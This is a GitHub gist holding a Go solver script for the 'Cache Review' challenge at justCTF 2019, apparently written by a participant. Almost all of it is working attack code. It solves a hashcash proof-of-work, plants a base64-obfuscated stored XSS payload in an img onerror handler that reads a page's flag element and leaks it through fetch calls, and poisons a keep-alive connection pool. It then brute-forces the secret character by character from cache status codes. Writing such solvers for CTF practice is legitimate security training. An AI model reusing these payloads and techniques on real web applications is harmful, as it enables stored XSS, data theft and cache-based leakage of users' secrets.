Created
December 22, 2019 09:25
-
-
Save patryk4815/fa6b4cec97824818ae469be864b054ae to your computer and use it in GitHub Desktop.
It is solver for task Cache Review at justCTF 2019
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"crypto/rand" | |
"crypto/sha1" | |
"encoding/base64" | |
"errors" | |
"flag" | |
"fmt" | |
"io" | |
"io/ioutil" | |
"net" | |
"net/http" | |
"net/url" | |
"strconv" | |
"strings" | |
"time" | |
) | |
//////////////////////////////// | |
//////////////////////////////// | |
//////////////////////////////// | |
/// hashcash stuff //// | |
func GenerateRandomBytes(n int) ([]byte, error) { | |
b := make([]byte, n) | |
_, err := rand.Read(b) | |
// Note that err == nil only if we read len(b) bytes. | |
if err != nil { | |
return nil, err | |
} | |
return b, nil | |
} | |
func GenerateRandomString(n int) string { | |
const letters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" | |
bytes, err := GenerateRandomBytes(n) | |
if err != nil { | |
panic(err) | |
} | |
for i, b := range bytes { | |
bytes[i] = letters[b%byte(len(letters))] | |
} | |
return string(bytes) | |
} | |
//////////////// | |
func sha1Hash(s string) string { | |
hash := sha1.New() | |
_, err := io.WriteString(hash, s) | |
if err != nil { | |
return "" | |
} | |
return fmt.Sprintf("%x", hash.Sum(nil)) | |
} | |
func acceptableHeader(hash string, char rune, n int) bool { | |
for _, val := range hash[:n] { | |
if val != char { | |
return false | |
} | |
} | |
return true | |
} | |
// base64EncodeBytes | |
func base64EncodeBytes(b []byte) string { | |
return base64.StdEncoding.EncodeToString(b) | |
} | |
// base64EncodeInt | |
func base64EncodeInt(n int) string { | |
return base64EncodeBytes([]byte(strconv.Itoa(n))) | |
} | |
type Hashcash struct { | |
version int | |
bits int | |
created time.Time | |
resource string | |
extension string | |
rand string | |
counter int | |
} | |
const maxIterations int = 1 << 48 // Max iterations to find a solution | |
const timeFormat string = "060102150405" // YYMMDDhhmmss | |
func randomBytes(n int) ([]byte, error) { | |
b := make([]byte, n) | |
_, err := rand.Read(b) | |
if err != nil { | |
return nil, err | |
} | |
return b, nil | |
} | |
func NewHashcash(data string, bits int) *Hashcash { | |
rand, err := randomBytes(8) | |
if err != nil { | |
return nil | |
} | |
return &Hashcash{ | |
version: 1, | |
bits: bits, | |
created: time.Now(), | |
resource: data, | |
extension: "", | |
rand: base64EncodeBytes(rand), | |
counter: 1, | |
} | |
} | |
func (h *Hashcash) createHeader() string { | |
return fmt.Sprintf("%d:%d:%s:%s:%s:%s:%s", h.version, | |
h.bits, | |
h.created.Format(timeFormat), | |
h.resource, | |
h.extension, | |
h.rand, | |
base64EncodeInt(h.counter)) | |
} | |
func (h *Hashcash) Compute() (string, error) { | |
var ( | |
wantZeros = h.bits / 4 | |
header = h.createHeader() | |
hash = sha1Hash(header) | |
) | |
for !acceptableHeader(hash, 48, wantZeros) { | |
h.counter++ | |
header = h.createHeader() | |
hash = sha1Hash(header) | |
if h.counter >= maxIterations { | |
return "", errors.New("no soulution") | |
} | |
} | |
return header, nil | |
} | |
func calcHashcash(resource string, difficult int) (string, error) { | |
hc := NewHashcash(resource, difficult) | |
return hc.Compute() | |
} | |
//////////////////////////////// | |
//////////////////////////////// | |
//////////////////////////////// | |
func poisonGoPool() { | |
conn, err := net.Dial("tcp", serverAddress) | |
tcpConn, ok := conn.(*net.TCPConn) | |
if err != nil || !ok { | |
panic(err) | |
} | |
lines := []string{ | |
fmt.Sprintf("GET %s/api/v1/comments?x=%s HTTP/1.1", globalPrefix, GenerateRandomString(32)), | |
"Host: " + serverAddress, | |
"Accept-Encoding: gzip", | |
"Connection: keep-alive", | |
"", | |
} | |
//syscall.SetNonblock(int(fdSocket), true) | |
//tcpConn.SetNoDelay(true) | |
//tcpConn.SetWriteBuffer(1) | |
//tcpConn.SetReadBuffer(1) | |
for _, line := range lines { | |
line := line | |
tcpConn.Write([]byte(line + "\r\n")) | |
} | |
tcpConn.CloseRead() | |
buf := make([]byte, 0xffffff) | |
tcpConn.Read(buf) | |
} | |
func getNewSpace() string { | |
resp, err := http.Get("http://" + serverAddress + "/") | |
if err != nil { | |
panic(err) | |
} | |
defer resp.Body.Close() | |
data, err := ioutil.ReadAll(resp.Body) | |
if err != nil { | |
panic(err) | |
} | |
dataString := string(data) | |
if strings.Contains(dataString, "Memes Review") { | |
return "" | |
} | |
if !strings.Contains(dataString, "Proof of Work:") { | |
panic(dataString) | |
} | |
arr := strings.Split(dataString, "Proof of Work:") | |
arr2 := strings.Split(arr[1], "<br>") | |
cmdHashcash := strings.TrimSpace(arr2[1]) | |
fmt.Printf("cmdHashcash: %s\n", cmdHashcash) | |
var resource string | |
var difficult int | |
if _, err := fmt.Sscanf(cmdHashcash, "hashcash -mb%d %s", &difficult, &resource); err != nil { | |
panic(err) | |
} | |
fmt.Printf("difficult: %d\n", difficult) | |
fmt.Printf("resource: %s\n", resource) | |
outHashcash, err := calcHashcash(resource, difficult) | |
if err != nil { | |
panic(err) | |
} | |
fmt.Printf("outHashcash: %s\n", outHashcash) | |
resp, err = http.PostForm("http://"+serverAddress+"/", url.Values{ | |
"stamp": []string{outHashcash}, | |
}) | |
if err != nil { | |
panic(err) | |
} | |
defer resp.Body.Close() | |
body, err := ioutil.ReadAll(resp.Body) | |
if err != nil { | |
panic(err) | |
} | |
bodyString := string(body) | |
if !strings.Contains(bodyString, "Here is you url: <a href=") { | |
fmt.Printf("out: %s\n", string(body)) | |
panic("sandbox not created") | |
} | |
xArr1 := strings.Split(bodyString, "</a>") | |
xArr2 := strings.Split(xArr1[0], "\">") | |
urlSandbox := xArr2[len(xArr2)-1] | |
fmt.Printf("urlSandbox: %s\n", urlSandbox) | |
time.Sleep(time.Second) // just wait to task is up | |
return urlSandbox | |
} | |
func addComment(nickname, comment string) bool { | |
resp, err := http.Post( | |
"http://"+serverAddress+globalPrefix+"/api/v1/add_comment", | |
"application/json", | |
strings.NewReader(fmt.Sprintf(`{"nickname":"%s","comment":"%s"}`, nickname, comment)), | |
) | |
if resp.StatusCode != 201 { | |
return false | |
} | |
if err != nil { | |
panic(err) | |
} | |
return true | |
} | |
func add100Coments() { | |
for i := 0; i < 98; i++ { | |
if !addComment(strings.Repeat("0", 64), strings.Repeat("0", 499)) { | |
return | |
} | |
} | |
xss2 := strings.ReplaceAll(`p='__PREFIX__';d=document.querySelector('#flag').innerHTML.match(/(CTF{.+?})/i)[0];for(var i in d)fetch(p+'/api/v1/n?'+p+'/api/v1/flag?'+d.substring(0,i-(-1)))`, "__PREFIX__", globalPrefix) | |
out2 := base64.StdEncoding.EncodeToString([]byte(xss2)) | |
xss := strings.ReplaceAll(`<img src=x onerror=eval(atob('_TUTAJ_'))>`, "_TUTAJ_", out2) | |
if len(xss) > 280 { | |
panic(fmt.Errorf("len: %d", len(xss))) | |
} | |
out := addComment("", xss) | |
if !out { | |
panic(fmt.Errorf("cannot add xss?")) | |
} | |
} | |
func getFlag() string { | |
resp, err := http.Post("http://"+serverAddress+globalPrefix+"/api/v1/flag?x="+GenerateRandomString(32), "", nil) | |
defer resp.Body.Close() | |
data, err := ioutil.ReadAll(resp.Body) | |
if err != nil { | |
panic(err) | |
} | |
return string(data) | |
} | |
func sendToAdmin() int { | |
resp, err := http.Post("http://"+serverAddress+globalPrefix+"/api/v1/report_meme", "", nil) | |
if err != nil { | |
panic(err) | |
} | |
defer resp.Body.Close() | |
return resp.StatusCode | |
} | |
func getFlagLeakedStatusCode(flagPart string) bool { | |
req, err := http.NewRequest("GET", "http://"+serverAddress+globalPrefix+"/api/v1/flag?"+flagPart, nil) | |
if err != nil { | |
panic(err) | |
} | |
req.Header.Set("Accept-Language", "en"+globalPrefix+"/api/v1/n?,") | |
resp, err := http.DefaultClient.Do(req) | |
if err != nil { | |
panic(err) | |
} | |
defer resp.Body.Close() | |
// status == 404 -> leak ok | |
// status != 404 -> not leaked | |
return resp.StatusCode == 404 | |
} | |
func solveTask() { | |
if globalPrefix == "" { | |
globalPrefix = "/" + getNewSpace() | |
} | |
add100Coments() | |
i := 0 | |
for i < 100 { | |
i++ | |
poisonGoPool() | |
} | |
adminStatusCode := sendToAdmin() | |
fmt.Printf("adminStatusCode: %d\n", adminStatusCode) | |
// you know the prefix of flag, check first letter of leaked data | |
flag := getFlagLeakedStatusCode("C") | |
if !flag { | |
panic("not flag this time :((") | |
} | |
flagPart := "CTF{" | |
main: | |
for i := 1; i < 90; i++ { | |
ch := make(chan string) | |
for _, c := range "abcdefghijklmnopqrstuvwxyz_" { | |
go func(flagPart, char string) { | |
if getFlagLeakedStatusCode(flagPart + char) { | |
ch <- char | |
fmt.Printf("flagChar: %v\n", flagPart+char) | |
} | |
}(flagPart, string(c)) | |
} | |
select { | |
case char := <-ch: | |
flagPart = flagPart + char | |
case <-time.After(time.Second * 5): | |
break main | |
} | |
} | |
fmt.Printf("flag: %v\n", flagPart) | |
} | |
var globalPrefix = "" | |
var serverAddress = "" | |
func main() { | |
var saddress string | |
flag.StringVar(&saddress, "address", "127.0.0.1:80", "server address only ip:port") | |
var ssandbox string | |
flag.StringVar(&ssandbox, "sandbox", "", "sandbox prefix eg. \"hash\"") | |
flag.Parse() | |
serverAddress = saddress | |
if ssandbox != "" { | |
globalPrefix = "/" + ssandbox | |
} | |
solveTask() | |
} | |
// how to run? | |
// go run cache_review.go -address "127.0.0.1:80" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment